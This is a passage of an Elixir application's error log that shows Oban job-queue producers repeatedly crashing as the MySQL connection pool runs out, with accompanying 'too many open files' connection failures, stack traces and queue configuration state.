** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:25:09.237860Z], limit: 5, uuid: "6cc99256-0c7b-4ab3-85ee-e2e1b413b63e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:09.237869Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.187951>, refresh_timer: #Reference<0.2525715032.1077673987.37239>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:21.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:25:09.239233Z], limit: 3, uuid: "1e906fc3-b620-44f1-96ed-f85c70e7c223", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:09.239238Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.187954>, refresh_timer: #Reference<0.2525715032.1077673987.37274>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:24.967000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:26.240000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:26.369000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:28.674000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:31.059000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:31.688000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:25:21.241249Z], limit: 5, uuid: "707dff9a-17ee-4172-9623-f42558fc59bd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:21.241257Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.188371>, refresh_timer: #Reference<0.2525715032.1121189889.188361>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:32.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:25:21.240947Z], limit: 20, uuid: "b845f7bf-bd24-4bb7-83b6-6682a9a85663", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:21.240954Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.188369>, refresh_timer: #Reference<0.2525715032.1121189889.188351>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:25:21.241502Z], limit: 10, uuid: "ed2370a5-dd86-42f8-977d-154408a62e28", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:21.241508Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.188370>, refresh_timer: #Reference<0.2525715032.1121189889.188353>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:25:21.240086Z], limit: 50, uuid: "bed18448-3e2f-4dd5-91c2-df01959e9f40", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:21.240093Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.188372>, refresh_timer: #Reference<0.2525715032.1121189889.188326>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:32.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1010ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:25:21.244346Z], limit: 3, uuid: "6027cfa5-206a-4d72-8dde-be9daa88cd25", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:21.244354Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.37419>, refresh_timer: #Reference<0.2525715032.1077673987.37417>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:25:21.241956Z], limit: 5, uuid: "d1ce13b9-a06c-410c-b137-042f50ab32a8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:25:21.241962Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.37418>, refresh_timer: #Reference<0.2525715032.1077673987.37414>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:33.076000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:34.121000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:37.002000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:39.282000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:42.813000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:42.979000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
